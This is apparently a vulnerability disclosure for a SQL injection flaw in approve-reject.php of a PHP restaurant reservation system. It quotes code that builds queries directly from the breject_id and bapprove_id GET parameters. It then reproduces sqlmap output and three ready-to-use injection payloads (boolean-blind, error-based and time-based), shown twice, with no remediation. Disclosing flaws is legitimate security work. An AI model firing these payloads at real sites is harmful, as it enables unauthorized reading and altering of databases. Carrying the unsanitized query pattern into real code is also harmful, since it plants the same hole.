

Multi Restaurant Table Reservation System approve-reject.php has Sqlinjection

```
# Multi Restaurant Table Reservation System approve-reject.php has Sqlinjection,The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly.An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.
```

Code

```
RES dashboard > approve-reject.php
> css
> dashboard
> assets
> item-image
> PHPMailer-master
> template
> user-image
approve-reject.php
booking-list.php
dbCon.php
debug.log
delete-chair.php
index.php
invoice.php
login.php
logout.php
mailSender.php
manage-insert.php
menu-add.php
menu-list.php
menu-manage.php
profile.php
table-add.php
table-list.php
view-chair-list.php
database
res_booking.sql
fonts
images
js

1 <!-- approve-reject.php -->
2 <?php
3     session_start();
4     include_once 'dbCon.php';
5     $con = connect();
6     //reject
7     if (isset($_GET['breject_id'])) {
8         $id = $_GET['breject_id'];
9         $sql = "UPDATE booking_details SET status = 0 WHERE id = '$id'";
10        // include_once 'dbCon.php';
11        // $con = connect();
12        if ($con->query($sql) == TRUE) {
13            echo "<script>alert('Rejected.').</script>";
14            echo "<script>window.location='booking-list.php'</script>";
15        } else {
16            echo "Error: " . $sql . "<br>" . $con->error;
17        }
18    }
19
20    // approve booking request
21    if (isset($_GET['bapprove_id'])) {
22        $id = $_GET['bapprove_id'];
23        // include_once 'dbCon.php';
24        // $con = connect();
25        $sql = "UPDATE booking_details SET status = 1 WHERE id = '$id'";
26
27        $sql2 = "SELECT 'id', 'c_id', (SELECT 'restaurant_name' FROM 'restaurant_info' WHERE restaurant_info.id= booking_details.c_id) as username,(SELECT 'email' FROM 'user_info' WHERE user_info.id= booking_details.c_id) as email FROM 'booking_details' WHERE booking_details.id= '$id'";
28        $result = $con->query($sql2);
29        foreach ($result as $r) {
30            $cname = $r['username'];
31            $email = $r['email'];
32
33            $email = "chartermonitopng2018@gmail.com";
```

Sqlmap Attack

```
GET parameter 'breject_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 385 HTTP(s) requests:
---
Parameter: breject_id (GET)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: breject_id=1' RLIKE (SELECT (CASE WHEN (2149=2149) THEN 1 ELSE 0x28 END))-- RZFf

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: breject_id=1' AND GTID_SUBSET(CONCAT(0x7176627a71,(SELECT (ELT(3918=3918,1))),0x717a626b71),3918)-- Jgug

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: breject_id=1' AND (SELECT 3526 FROM (SELECT(SLEEP(5)))vpsH)-- jOnP
---
[23:54:59] [INFO] the back-end DBMS is MySQL
```

Payload

Parameter: breject_id (GET)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: breject_id=1' RLIKE (SELECT (CASE WHEN (2149=2149) THEN 1 ELSE 0x28 END))-- RZFf

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)

Payload: breject_id=1' AND

GTID_SUBSET(CONCAT(0x7176627a71,(SELECT
(ELT(3918=3918,1))),0x717a626b71),3918)-- Jgug

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: breject_id=1' AND (SELECT 3526 FROM
(SELECT(SLEEP(5)))vpsH)-- j0nP
